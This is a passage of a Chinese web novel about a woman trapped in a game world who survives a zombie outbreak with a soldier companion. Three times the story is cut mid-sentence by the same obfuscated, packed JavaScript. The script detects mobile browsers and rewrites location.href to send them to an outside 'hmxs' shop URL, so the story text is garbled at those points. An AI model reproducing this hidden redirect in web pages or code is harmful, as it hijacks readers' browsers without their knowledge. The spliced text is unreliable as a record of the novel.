这一堆罐头让米哈伊尔也停下了动作,瞪圆了眼睛看向桌柜,随即哈了一声,大笑道,“我就说我运气很不错吧!” 白睨怀疑地看着他自顾自乐,难道这是游戏给他们开的挂吗? Whatever. 她把罐头往里头推了推,打开背包,把带过来的东西塞进去,有一部分是保质期长的食物,有一部分是药物、月经杯、剃须刀、牙刷、纸巾等日用品,柜子抽屉很快被塞得满满当当。这么一来,公寓里剩下的物资再搬一趟就够了。 床底下的滑轨上也有不少东西,“工具箱,衣箱,唔,还有淋浴工具……这个是折叠桌椅?烤架?” 如果地段安全,说不定她真的能在车里住一辈子。 目前就只有车顶没有检查过了,白睨刚才注意到上面是一个绑着自行车的支架,说明上面是可以绑东西的。她默默打算把四号房里的超大收纳袋和背包都拿过来,将车顶拓展为额外的收纳空间。 “白,看看这个。” 一阵哗啦声响起,白睨还没看清是什么,一张大纸就被递到她面前,五颜六色的线路纵横交错。 “地图?”眼睛一亮,她接过纸。这是一张E国境内地图,内容很详细,尽管她完全不了解这边的地理,但是仅凭地图显示的交通路线,她也能看出哪些是人口密集的城市。 她并不想往北边走。尽管南部的城市更多,但她清楚E国的气候,全年温和湿润,一旦进入冬令时,阴雨增多,日照时间极短。如果他们打算在野外生活,就只能尽量往阳光相比之下更多的南边走。 她可不想自己的农田泡成沼泽,也不想地基变成水塘[1]。 东南部大城市聚集,相反,西南部较偏僻,以丘陵地貌为主。她曾经去过那边一个乡村景点,由多个村落组成,有山有水有田野,村镇上设施也很齐全,很符合他们的需求。但由于其本身是景点,算上游客的话人口并不少,不知道现在情况如何。如果不能落脚,他们就继续往西南方向开。 思索了一会儿,白睨伸出食指在地图上划出一条弯线,刻意避开市中心,“我们往西南方向走,那边人少,也适合种地和养殖。” “我没有意见。”这句话伴随着硬物碰撞声,白睨抬起头,发现米哈伊尔趁她思考的间隙坐到了副驾驶,在方向盘下鼓捣着,大概是在研究怎么发动引擎。 “能搞定吗?” “像吃馅饼一样简单。”他转动着手里的螺丝刀,仪表盘亮起,指针转动。 接着,方向盘下的螺丝被依次旋开,米哈伊尔把塑料板完好无损地取下,趴得更低了些,像玩解谜游戏一样熟练地拨弄着不同颜色的塑胶线。很快,他精准掐住其中几根,换上剪刀,“咔哒”,线路应声断开。他把其中几根线顶端的金属丝拧在一起,剩下两根轻轻一接——白睨立刻感受到空间开始震动,情不自禁地轻呼出声,“启动了!” 米哈伊尔把缠绕在一起的金属丝拆开,车子立刻恢复平静,“好了,以后这辆车就归我们了。” “你动作好熟练,”白睨在椅背上支着下巴,“很难不让人怀疑你到底是部队出来还是蹲完出来的。特种兵会教这些吗?” “特种兵学的可比你想象的杂多了。”米哈伊尔嘴角一挑,“如果你想,我还可以在走的时候把公寓楼做成烟花炮弹给我们践行。” “……”白睨按了按眉心,“不必了。” 尽管他嘻嘻哈哈的,但白睨捕捉到了米哈伊尔一瞬间的复杂深神色,像怀念,又不完全是。 为什么呢? 因为无法承受工作压力?因为突遭变故?因为某个事件改变了自己的信念? 一切常见的背景设定—— 她的心忽地一颤。 她在这款游戏里玩过很多存档,每个存档都有男主角,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742294|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的性格、偏好、背景经历都是由她这个游戏者设置的。可以说,所有的游戏角色都诞生于他们在剧情里出现的那一瞬间,因此他们并不存在所谓的过往。每当他们提起所谓的“有一次”时,白睨只会想到:啊,和我写的文本对上了。 米哈伊尔也是其中一员,虽然不完全是由她设定的。 并不存在的过往,回忆也会如此细致么?也会产生这样真实的情绪么? 白睨不由自主地后退了一步。 米哈伊尔注意到她的异常,转头望她,“怎么了?” 她摇头,目光偏到仪表盘上,忽然想到刚才显示只剩下一半油量了,“正好这里车子多,我们多搞点燃油来备着吧。” 接下来的时间,二人分工,白睨警戒周围,米哈伊尔从周围车上转移燃油,不仅把这辆MPV灌满油,还存了两箱备用。等他们忙活完,时间已经傍晚,好在夏令时白天较长,天还亮着,只是染上了一丝橘黄,二人手脚麻利地拿上背包和武器,照原路返回。 那辆倾倒的火车旁,原本在啃食尸体的丧尸不见了,只有一只大黑乌鸦在慢条斯理地啄食着腐肉。兴许是累了,二人都没有说话,只是压着身在杂草丛生的荒地里穿行。回去的时间比他们预想得久,因为有几只丧尸晃荡到了荒地里,他们就绕了些路。 天空渐渐染黑,后街的路灯自动亮起,像夜雾中的一团团幽灵。他们终于抵达了学生公寓的外围,也就是贴着平台的墙外。挂在平台上的绳索还在,米哈伊尔打了个手势,示意自己先上去。 事实证明这个决定完全正确,因为往上爬比往下爬累多了。轮到白睨的时候,她怎么也爬不明白,人怎么能用一双手十根指头把整个身子带动着往上攀?在尝试几次未果后,她果断放弃,系上背带,指使米哈伊尔把自己拉上去。 “你真是——呵——好会享受——”虽然抱怨着,但米哈伊尔的节奏却很稳定,除了脸有些红,看不出任何其他异常,“以后要加强核心训练……” 白睨挂着手摆烂了,看着远处那点点灯光一点一点往下降,“说实话直到现在我也分不清核心发力和腹部发力的区别。” “认真的吗,白?为什么我问你有没有感觉到核心发力时你要回应?” “因为我怕要重新再做一组,而且你是个反复倒数最后两个的恶魔——” 忽然,周围一下子暗了。 白睨眨眨眼。有一瞬间,她以为是自己眼睛出问题了,但很快便反应过来,是路灯熄灭了。 城市电力耗尽了。 在一片晦暗不明的夜色中,白睨悬在空中,周围没有一点声响。片刻后,绳子终于继续往上拉,似乎是米哈伊尔也从震惊中回过神来了。 至平台边缘,她匆匆扒住栏杆往上爬,一只热得发烫的手一把握住她的手腕,帮她往上拉,低沉的声音从头顶传来,“停电了,快上去。”最后一丝余晖还没沉没,白睨看清了米哈伊尔的身形轮廓,他的气息也有些颤抖。 就在这时,一声声长长的、尖锐的警报声,如索命的鬼鸣般从后街联排传来。 11. 突发情况 “呲——哔——呲——哔——!”刺耳的高频鸣叫炸响,如尖刀刮过铁皮,震得耳膜发麻。整条街区的上空都回荡着警报,惊走的鸟儿在空中盘旋。一股恐惧排山倒海而来,白睨手忙脚乱地回收绳索,一边喊道: “断电误触警报了!快走!” 可下一秒,此起彼伏的嘶吼声就让她的心凉了半截。 尖锐的警报无疑刺激了整条街道的丧尸。公寓二楼的丧尸暴动,其中一房间门未关闭,丧尸一窝蜂涌入,如蛆虫般密密麻麻挤在落地窗内蠕动、翻滚。白睨被这场面吓愣在原地,没等她回过神,就看见一只丧尸把头用力撞在玻璃上。 一下——两下——三下——蛛网状的裂隙蔓延开—— “小心!”这是米哈伊尔的声音。 白睨捡起了棒球棍。 “哗啦!!!” 一圈窗户爆裂炸开,大片大片玻璃划落在地,碎片四溅。粗砺亢奋的嚎叫声骤然清晰,许久未见新鲜血肉的饿鬼群直扑向平台上的二人! “哐当——!”一只丧尸被猛地掀飞出去,脑袋着地砸在水泥台上。米哈伊尔率先出手,抡圆了胳膊,仅一眨眼的功夫就把靠近的一圈丧尸拍倒在地,手臂高抬,像拍蒜般把脚边的丧尸脑袋砸得四分五裂。白睨紧跟其后,棒球棍前端直顶丧尸胸口,使足气力将其逼到平台边缘,一挥击落。 之前下楼时,米哈伊尔为安全将二楼的所有落地窗都关闭,却隔绝了现在躲入公寓的可能性。 公寓内,平台下,两个方向的丧尸群被动静吸引,逐渐靠拢过来。二人往前不是往下也不是,生生僵持在平台上。 米哈伊尔拍倒一只丧尸,目光在挂下的床单和破碎的落地窗前几度逡巡,又落在白睨身上,一咬牙,“走,去把房门堵上!” 退开几步,他扯开外套拉链,从内衬掏出一把黑色哑光的小型手枪。白睨心领神会,从口袋里拿出弹匣轻轻一抛,米哈伊尔抬手一接,单手推入枪身。 “谢了,”他把枪插回口袋,“只有五发子弹,我会省着用的。” “噶啊——”一只丧尸张口咬向米哈伊尔,被一脚踢翻在地,刚出现的空隙很快被另一只补上。破开的落地窗像推币机般不断掉落丧尸。 白睨脚边堆满尸/体,在挥棒的同时还得注意不踩到滑倒,但前排的米哈伊尔却几乎没时间注意了,只一味抡锅砸爆丧尸脑袋,完全杀红了眼。 就在这时,白睨突然看见一只形迹极为诡异的丧尸,如水中的蟾蜍般身体贴地,四肢并用地爬行,灰白放大的瞳孔死死盯着米哈伊尔后背,嘴一咧露出即将满足的怪笑,大张嘴巴,准备扑向米哈伊尔脚踝! 来不及多想,白睨飞出手里的棒球棍,不偏不倚,正好抡到那只丧尸脑袋上。米哈伊尔一惊,瞬间发现身后的异样,一脚下去,把它的脸碾进了地面,骨裂的“咔哒”声和血肉的“咕滋”声混作一团。 白睨还没来得及长出一口气,就发现几只丧尸正往自己靠拢。而她身无寸铁。 丧尸口喷污血,伸手抓去。 “白!”米哈伊尔急着上前,差点没注意到另一只扑来的丧尸,猛一偏头,脖子与丧尸的牙齿险险擦过。他左支右绌,连连追打几下,突然听见手里“咯吱”一声,螺丝崩飞,铁锅整体脱落! 另一边,白睨退至边缘,“吱嘎”一声,背靠到了栏杆,她赶紧站稳脚跟,绝望地环顾四周。身后是一层楼的落差,掉下去大概摔个半身不遂,然后被丧尸啃噬;身前几步远,也要活吃人的丧尸—— 还不如直接摔死呢。 但自己今天非得死在这儿吗? 余光里闪过一片红色,一个灭火器出现在视线里,旁边是一个检修口,一角翘起,螺丝已经生锈。 白睨几步冲上前,大脑还未多想已飞出一脚,“砰!”金属盖板一下崩开,完全变形! 伸手用力一掰,整个金属片“咔”一声脱落,带出几颗螺丝。握紧盖板,她转身猛地横挥,一米外的丧尸没发出一声吼叫,半张脸的皮肉就被削了下来,露出下巴的白骨。 翻身躲开另一只抓来的丧尸,白睨转身冲向旁边的灭火箱,塑料罩蒙着厚厚的灰,但里面的灭火器锃光发亮。白睨卯足劲一顿猛切,哐哐几下,把外罩劈得支离破碎,一把抽出那只红色金属罐,旋身一抡,正好甩在丧尸的面门上! 清晰的碎裂声仿佛从自己手臂上传来,眼前的丧尸转了几圈,滚到远处。 白睨的手掌按在把柄上。 “呲——!!”一大片白色风卷而出,在短暂弥漫的雾气中,几只丧尸仿佛失去了方向,直挺挺站在原地。白睨再次提起灭火器,朝着可见的轮廓依次撞去。几声闷响后,白雾渐渐散去,“咣!”红色灭火器溅上最后一层污渍。白睨终于放开呼吸,继而剧烈咳嗽起来。 面前暂时没有走动的丧尸了。 想起米哈伊尔,她抹开额头的薄汗,抬头寻找,就见男人一手握着棒球棍,一手持枪。 枪口对准她。 · 枪声划过上空。 白睨瞪大眼睛。 “咚。”身后传来倒地声。 枪口冒出一缕白烟,米哈伊尔垂下手枪,喊道,“有受伤吗?” 惊魂未定地,白睨僵硬地回头,才看到身后躺着一具汩汩流黑血的尸/体。 “……” 吓死人了!这是什么经典电影耍帅环节!那枚子弹真就擦着她脸飞过去了啊! 白睨现在有一种双重意义上劫后余生的复杂心情。 经过一轮鏖战,平台上的丧尸差不多都倒下了。米哈伊尔砸开试图从窗户里爬出来的丧尸,踩着它的脑袋翻进窗户,凭着夜光把棍子捅进黑暗里伸来的血盆大口。 “闪开!” 米哈伊尔闻声滚到一边。白睨举着灭火器冲着房间里一通喷,白雾缭绕,丧尸纷纷停下动作。趁着这一瞬间,白睨打开手机手电筒,米哈伊尔甩起棒球棍,房间里响起一阵咣当击打声。 半分钟后,随着一声巨响,门终于被关上了。 白睨擦了擦汗,踹开脚边的尸/体,靠着墙脱力坐下。 “白?” 她停下动作,看见米哈伊尔皱着眉,不禁奇怪,“怎么?” “你的手。” 手? 公寓里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742295|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有电了,房间里一片漆黑,她用手机一照,才发现自己的右手、手臂和手肘上都是血,掌心处划开了近一指长的创口。她下意识倒吸一口气,别说打丧尸的时候,就是刚才擦脸的时候她都没发现,直到这时才感受到剧痛。 “嘶……大概是刚才拆板子的时候划到的。”她举着手掌有些不知所措,感觉手臂有些麻麻的、凉凉的,内心有些担忧,刚才伤口有和丧尸接触吗?她会感染吗? 正想着,她就听见门被推开的声音,吓了一跳。只见米哈伊尔探头往厕所里看了看,然后转身抓住她的手臂,“我帮你清理一下,等会儿上去后再重新包扎。”说着,黑暗中传来拧开水龙头的声音,水淅淅沥沥留下。 白睨跟进厕所,空间有些小,她只能坐在马桶上。伤口处碰到冷水,疼痛愈发厉害,白睨直皱眉,但听到水流的声音内心又莫名轻松了些,好像病毒会跟着污水一起消失。 米哈伊尔运气确实好,在房间里找到了一盒创可贴,然后给她的伤口贴了个蜈蚣款式。 抽了抽嘴角,白睨评价:“好丑。” “这种时候你还嫌弃丑?”对着手机光,米哈伊尔轻压了几下边缘,确认创可贴贴紧实了,“你这样还能爬上去吗?” “爬肯定不行,但不是有背——”白睨的声音戛然而止,连忙走近窗户望了一圈,才发现绳索和背带在刚才的打斗中不知所踪了。 可能掉到了下面,也有可能压在某只丧尸身体下面。 一想到可能要一具具翻尸/体,还是在摸黑的条件下,她的脸一下变得五颜六色,最后归为苍白。 就在她与天上的星星望眼欲穿时,一只手拍上她的肩膀。米哈伊尔凑到她后面,“其实我有一个主意。” · “我们就没有更体面一点的办法吗?” 白睨的声音有些飘渺。 “这怎么——不体面了?”米哈伊尔喘着气,双手发力抓住,停下来歇一歇。 请问这怎么体面了? 白睨想捂脸,可惜她仅有的两只手臂都在米哈伊尔脖子上。 漆黑的夜空下,高高的楼房外,米哈伊尔抓着床单绳,熟练而缓慢地往上爬;白睨则扒住他的脖子,紧紧攀附在他身上。两个人就这样呈现为交叠的毛毛虫姿态,一点点往上方蛄蛹。 她知道眼下可能没有其他更好的办法了,但是——感性的感受就是没办法与理性的安慰融洽啊! 这一幕给白睨的冲击力比任何米哈伊尔锤烂丧尸的举动都大。这家伙真的是人类吗? 搞不好危机爆发的时候他是第一个变异的吧! “你脸皮还挺薄啊?就把自己想象成背包吧。”米哈伊尔似乎一点不觉得丢脸,还有心情揶揄她,“你比负重沙包轻多了,就是最好手脚抱得更紧些,不然我不好发力。” “闭嘴,米哈伊尔!”白睨脸快烧起来了,真想不明白自己是犯了什么错落到这种境地,双臂环抱把脸埋下,“我真是求你了。” “哈——你不觉得现在这姿势很高难度,还挺酷的吗?” “我觉得我俩像树袋熊。” 米哈伊尔也沉默了。 12.幸运物 白睨躺在床上,看着窗外挡住月亮的薄云缓缓移动。断电后的夜晚就没必要拉窗帘了,没有灯光,不会暴露自己。她抬起手腕,借着月色看清石英表盘上显示九点多。她总觉得这两夜的九点比以前要暗得多。 原本今天应该前往房车离开城市的,奈何前天的警报吸引了附近大量的丧尸,即使到了今晚,也能看到一群黑影在后街荒地上游荡。他们把大量食物留在了房车里,如今公寓里的食物所剩不多,他们最多只能坚持两天,二人商量过后,决定明天就冒险一试,离开公寓。 仰面盯着灰暗的天花板,白睨觉得它似乎在缓慢地往下压……退缩回去……往下压…… 门口沙发上的米哈伊尔翻了个身。白睨猜他大概也没睡。 明天就要穿越火线了,谁睡得着。 除了物资,她决定明天就离开公寓还有一个原因。今天下午刚打开PhantoChat,她发现【支线??拉图索】更新了很多文本。 在过去的一天里,拉图索和约翰尼所在的后街房子被丧尸发现,正好朝向街道的窗玻璃易攻难守,房子很快被突破。 危机时刻,拉图索将约翰尼绊倒,趁他被撕咬的时候逃出了房子。 白睨早知道那俩人都不算好人,充其量只是自保意识很强的普通人,看到他们出现“二人遇熊竞逃”的情境,并不感到奇怪。最后是拉图索活下来,只能说她比约翰尼更胜一筹。 但她没想到的是拉图索躲入了一个有其他幸存者的房子,这群幸存者主要由街头混混组成,平日净干些偷鸡摸狗、□□烧的事,拉图索完全是误入狼窝。为了自保和转移注意,拉图索提出他们可以去“附近的一栋公寓”里。 [*明白只有这样,他们才不至于立刻把她丢出屋去。拉图索举着手,继续补充:*“那里面还有幸存者,他们囤了很多东西!”] 其他混混这听这个公寓被描述得有多么多么安全、囤积的物资够他们撑一个月,一致同意在第二天闯进公寓四楼。必要的话杀死白睨和米哈伊尔,反正他们人多。 白睨连翻好几个白眼,没想到支线剧情进行到这里还能来个call back。 祸水东引啊这是! 也是她大意了,既然是支线人物,与主线人物纠缠一生一世也是很正常的安排。 对面人数是他们的几倍,个个手持利器。虽然白睨对米哈伊尔干架的能力有十足信心,但担心骚乱会引来大量丧尸;既然他们本来食物就不够了,不如先他们一步离开。 然后这个计划又回到了那个让她烦躁不安的点:荒地的丧尸太多了。 她翻了个身,面朝墙壁,脑海中将周边地形图上下左右地看,也没想到更好的办法。 天又暗了几分。灰色的墙慢慢靠近。 ?? 捶打声在周围响起,纷纷扰扰,有男有女。 正不知是谁推了她一把,她一下扑倒在地,手里的手推车滑了出去,膝盖重重磕倒在地。她爬起来跑去捡,却发现车里的食物全都消失了,一个女人穿着湿透的红背心蜷缩在车里,一双灰白的眼睛麻木地望向她。 她尖叫了起来,但没有声音。那个女人挂下的手臂延伸着,越来越长,伸向她的脚踝。 她眼睁睁看着那只手覆上了她的膝盖,却有温度。忽然,有人叫了她的名字。 眼前一晃,自己是被扶起来了。 “怎么不看路呐?”女人轻拍着她的膝盖,眼里全是关切的无奈。旁边的男人从地上拉起大号的行李箱,说,“我们就送到这里了,上了飞机记得发个消息,落地后也要发消息,明白了吧?” “知道啦。”她听到自己的声音。 男人伸出手说最后抱一下,要一年不见啦。 “哎呀,”身体尴尬地靠了一下,忙不迭挣脱开来,朝女人挥了挥手,“我会发消息的啦。”随后一转身,面向安检通道,迈了过去。 停下来吧。她喊到。那道身影却越来越远,淹没在白光之中。 求你最后再抱一抱吧。 ?? 白光离她越来越远,最后定格为静止的白色。 白睨抹了抹眼睛,用力眨眨眼,才逐渐清醒过来。 旁边传来一句,”醒了?” 米哈伊尔披着一件睡衣外套,在吧台边给饼干抹巧克力酱。 “你在做什么?” “早餐啊,今天不是要大干一场吗?吃点补充能量的。”说着,他又在塑料罐里??了一大勺,搭在苏打饼干上均匀抹平。看着那厚厚一层巧克力酱,白睨感觉喉咙里腻得慌。 米哈伊尔把那块涂好巧克力酱的饼干放在盘子里,推向她通常坐的位子,“吃早餐吗?” “我去刷个牙。” 洗漱完毕后,白睨坐到吧台前,捻起那块沉甸甸的饼干,犹豫了好一会儿才下嘴。 果然齁得慌。 她赶紧灌了一口水。 吃早饭的时候,她注意到米哈伊尔的脖子上挂着一块怀表。她以前从来没见过,难道米哈伊尔一直藏在兜里? “这是什么?”她动了动手指。米哈伊尔低头一看,“啊,是我的纪念怀表。” “纪念怀表?就是怀表里装着照片的那种?”白睨的大脑运转起来。她确定自己从没见米哈伊尔戴过这东西,也没在剧情文本里见到过,这是从哪儿凭空出现的? 不会系统突发奇想要给男主角加一个白月光红玫瑰过世的妈酗酒的爸舍命的战友遗憾的陌生人吧? 米哈伊尔的大拇指摸索着锈迹斑斑的铜盖,叹一口气,“是啊,物件小,拿出来容易丢,我一般放在内衬里。”状似随意地笑了笑,“毕竟我常年在外奔波,不方便和家人联系,也只能看照片纪念了。” 原来你有家人啊—— 白睨把这句话咽了回去。 他们很少聊起自己的家庭,而她几次提起自己父母时,米哈伊尔都没透露过自己的家境。她没多问,主要怕他的身世设定是经典的孤狼男主,从小在孤儿院长大的那种。 结果是自己想太多。 她咽了一口水。“我都没听你提起过。” “没什么好说的,已经很久很久没和他们见面了。”米哈伊尔耸耸肩,把怀表轻轻扣在桌子上。 “那怎么今天拿出来?” “可能是因为今天要干一件大事,又想到他们了吧。”他勾起嘴角,眼里难得柔情,“毕竟是代表重要之人的重要之物,能带来好运加成也说不定。”说着,他把怀表递到她面前,“要看看吗?” 白睨下意识伸手接住,接着一愣,“我能看吗?” 米哈伊尔拿起另一块饼干,开始抹巧克力酱,“当然,有什么不行。” 忽然感觉手里的东西沉甸甸的,犹豫了一会儿,她还是翻开了表盖。 “……” 里面啥也没有,只有一块玻璃。 “噗。” 听见这动静,再傻的人也知道自己上当了。 深吸一口气,白睨露出别样灿烂的微笑,“米——哈——伊——尔!” “抱歉,抱歉。”米哈伊尔赶紧举手投降,“开个玩笑,只当为今天的行动提高一下士气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750641|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。作为赔礼道歉,这就送你了。” 白睨无语,“所以这是什么?” “就是一普通小玩意儿,不过嘛,倒确实是个幸运物。”男人挠了挠下巴,卖了个关子。 “它给你挡过子弹?” “什——开什么玩笑?”米哈伊尔翻了个白眼,“这么说吧,有次我在执行一项很危险的任务,真的很危险的那种,感觉自己可能见不到第二天的太阳了。就在最危险的时候,我捡到了这个东西,很快,任务就结束了。” 白睨一脸明白过来,“所以……这是重要证物?” 米哈伊尔扶额,“啧,你的大脑里能不能稍微有一点点浪漫细胞?不,和任务没有一点关系,但你不觉得有时候恰恰是这种看起来没有联系的东西,反而代表了命运的安排吗?” 到这里,白睨终于听懂了,无奈一笑,“原来你信这种东西吗?我还以为你是那种相信命运掌握在自己拳头里的人呢。” “倒也没说错,但人有个念想也好。”米哈伊尔伸手覆盖在她手上,轻轻一按,小巧的怀表包裹在她手心里。迎向她惊讶的目光,米哈伊尔低声道,“送你了,就当个幸运物吧。” 房间安静了。白睨只是盯着自己握住怀表的手,一言不发,没有抬头。 米哈伊尔不安地动了动,正欲收回手,却听见一声轻笑。 “原来是这样。我昨晚说梦话了吗?” 又是一秒的安静。 米哈伊尔突然弹射起身,“哈?怎么会——”话音却在目光相撞的那一瞬间卡壳,耳尖像被烫到一样慢慢泛红。他叹了口气,一屁股坐了回去,“好吧,有。” 白睨还没说什么,他便顾自说道:“也不是很清楚,但我猜你是做了和家人的梦吧?其实也很正常,人在压力大的时候就容易想到家人。” 他瞥了白睨一眼,见对方神情自然,才松一口气。 “放心吧,说不定你的家人也和你一样,在地球的另一边努力活下去。” “嗯,我相信。” 白睨牵起嘴角,虽没有笑意,但目光坚定,合拢双手,“还有,谢谢你。” 说不定,某一天清晨她再次醒来,天空湛蓝,楼下响起汽车鸣笛,手机消息提醒她:您关注的机票降价了,返程航班送您回家。 只有活着,才有无数可能。 所以无论如何,她都不会放弃。 米哈伊尔挠了挠头发,忽地站起身,端走自己盘子去水池,抛下一句话,“好了,不用谢。听你说谢谢怪诡异的。” “这时候又害羞了,是你开的这个头吧?” “啊,白,你总在不该多嘴的时候多嘴。”水池里传来大力刷盘的声音。白睨翻了个白眼,“刷盘的声音难道还能盖过我吗?” “不是,是这个巧克力酱用冷水很难洗。” “Okay~” 但米哈伊尔没说错,这款巧克力酱质地浓稠,含有油脂,以前有热水的时候倒还好清洗,冷水搓不干净。白睨翘着二郎腿,支着下巴,“反正马上要走了,放那儿也没关系吧……你是要摩擦生热吗?” 米哈伊尔还捏着海绵认真地搓。 对于他时不时的抽风行为,白睨已经习惯了,甚至还走过去,递给他自己刚用完的盘子,换来一个幽怨的眼神。 然后,米哈伊尔搓得更大力了,火星都要冒出来了。 ……火星。 “啪!” 米哈伊尔被耳边的清脆响指吓了一跳,一转头,就看到白睨两眼放光,跃跃欲试,又一副莫名其妙就诞生了新点子的样子。 13.清算(上) [*易拉罐滚地,发出清脆的声响。拉图索眼睁睁看着附近几只丧尸扭过脸来。*] [“咯啊——”*丧尸从喉咙里发出捕猎者的嘶鸣,甩开手脚,纷纷奔向公寓大门。*] [“跑!”有人大喊一声,其他人反应过来,手忙脚乱地挤进大门,往最近的楼梯间大门冲去。] [原本跑在拉图索旁边的男人被地上的拖把绊了一跤,吓得连连惨叫,竟是腿软得爬不起来了。这时从柜台后面爬出只剩一条腿的丧尸,抓住他的大腿,与其他赶来的丧尸一起围着啃食起来。] [听到身后传来的惨叫,拉图索更是不敢停下,终于赶在楼梯间大门关上前冲了进去,摔倒在地。铁腕杰恩一把拉来旁边的手拖车抵在门后,好在那几只丧尸都围在大厅,没有跟到楼梯间。惨叫声很快变成了咕噜咕噜的哽咽声,逐渐微弱。] [几人与丧尸群只隔了一段距离,不敢出声,只在铁腕杰恩眼神的示意下,紧握各自的武器,准备往楼上爬。] [拉图索仍惊魂未定,脑海里全是丧尸张着血盆大口冲来的那一幕,画面与前天警报声响后,丧尸一头撞入与她面前窗户的情景完全重合。] · 白睨托着下巴,大拇指在屏幕上划拉,手机荧光在瓷砖上投下微弱的冷光。 刚放下手机,面前就传来咚咚的敲门声。 “白?你不会在浴缸里睡着了吧?” 她赶紧把手机揣进口袋,调整好神色,推门出去。“你就没有在厕所里平复心情的时候吗?” 米哈伊尔耸肩,“我喜欢在更开阔的地方思考。” 他总觉得白睨在早饭后就怪怪的,又说不上来,看着白睨走到书桌旁边坐下,桌上搁着一根棒球棍,一把新的铸铁锅和两个背包。 风从窗框里吹进来,驱散了房间里一丝燥热。他不自觉地调整了一下脖子上东西,却招致白睨一个揶揄的眼神。 “怎么,上次差点被丧尸咬到,有点怕了?” ”怕?怎么可能。”米哈伊尔停下手上的动作,扭头嗤笑,“防范于未然罢了。”他脖子上戴着一顶双层项圈,原本上面还连着两条锁链,被米哈伊尔一脸嫌弃地拆掉了,只剩下金属扣闪闪发亮。 “我早就说了嘛,只要是有用的东西,你甭管它以前是怎么用的。”白睨招招手,米哈伊尔抓了抓头发,虽然神色不愿但还是挪到椅子旁,半蹲跪下。项圈是米哈伊尔自己戴的,有些紧,容易卡肉。白睨伸出手指,帮他解开扣子重新穿孔,并刻意把上层的项圈提了一提,这样就算有丧尸凑近,也没有落嘴的地方。 她拍了拍他的肩膀示意好了,随即抬起右手腕看了看手表,估算大概还剩多少时间。 米哈伊尔还蹲着,见状,问道,“我给你的怀表带上了吗?” 白睨一愣,从口袋里拿出那块怀表。没等她说什么,米哈伊尔把怀表抢了去,又拿过她的左手腕,绕了几圈扣好。一个金属怀表像锅盖一样挡在她手腕处。 “好了,”他看起来很满意,转着她的手腕看,“这样你左右手也都有护具了。” “……??” 对于米哈伊尔又突然抽风的行为,白睨张了张嘴,实在不知道说什么。 · 终于到了第五楼。拉图索原本以为他们会费一番功夫进入走廊,但没想到楼梯间门前门后,什么东西都没有。杰恩只是轻轻一推,门就打开了,走廊空且静,没有人,也没有丧尸。 他狐疑地看向她,旧年的伤疤在下巴蠕动。“怎么回事?你不是说他们肯定做了防御设施吗?”他凶狠道,难道这女人骗了他们,这里什么都没有? 拉图索连忙解释,“他们住在另一条走廊上,物资也都在那里,可能是他们放弃了这条走廊。” 不信任地瞥了她一眼,杰恩挥挥手,示意其他人减少动静,去打对方个措手不及。拉图索松了一口气,她知道这群街头男女目前最想要的是食物。 结果,那一条走廊的门也没有堵住。 怀疑事情有古怪,他们蹑手蹑脚走进去,推开一扇扇房门。有的直接就打开了,装满整齐码好的生活物资;有的从内抵住,但没有一点动静。 最终,他们来到了白睨的那个房间,拧开把手—— 床上的被单没有叠,凌乱成一团;洗手台上堆着碗盘,池子里干干净净;垃圾桶半满,都是一些食物包装。 房间里充满了生活过的气息。 他们确信这里曾有人生活过,但现在人呢? 几个人一同翻箱倒柜,“老大,这里好多东西!”一个青年一把拉出纸箱,里面摆满了卷纸。要知道他们过去的时间里都挤在一个小联排中,连耐用品都要抢着用、轮着用,而这里却有这么多物资,好像在楼里开了个杂货铺! “够了!”杰恩爆呵一声,把一罐已经见底的巧克力酱砸在地上,这是他们找到的唯一的食物。他猛地转身,一把揪住拉图索的领子,“你说的食物呢?你是不是早就知道这里已经没人住了!” “不!不不……”拉图索吓得差点尖叫起来,她原本还想着米哈伊尔和杰恩能撞上,那大块头看起来一拳就能把杰恩撂倒,到时她再求求白睨,她看起来不难说话,不是么? 谁能知道那对狗男女已经走了! 一边喘气,一边竭力平静语气,“或许,或许他们提前走了,但是公寓里有这么多房间,物资比外面多,总能找到吃的吧?你信我,我和以前的同伴就在其他楼层找到了很多食物!” 那只手一直拽着她的衣领,就在她觉得杰恩要把她丢出窗户时,就听“哼”的一声,对方松开了手。 杰恩捡起巧克力酱,粗声下令,“休息半小时,等会儿带上家伙去其他楼层找食物。” 拉图索跌落在床边,这才松了一口气。但是看到杰恩用那恶心的肥大舌头舔舐手上的巧克力酱,又看看洗手台上白净得发光的瓷盘,上面甚至还有一道抹过的水渍印迹。她心里隐隐不安。 这个房间总给她一种,主人才走不久的感觉。 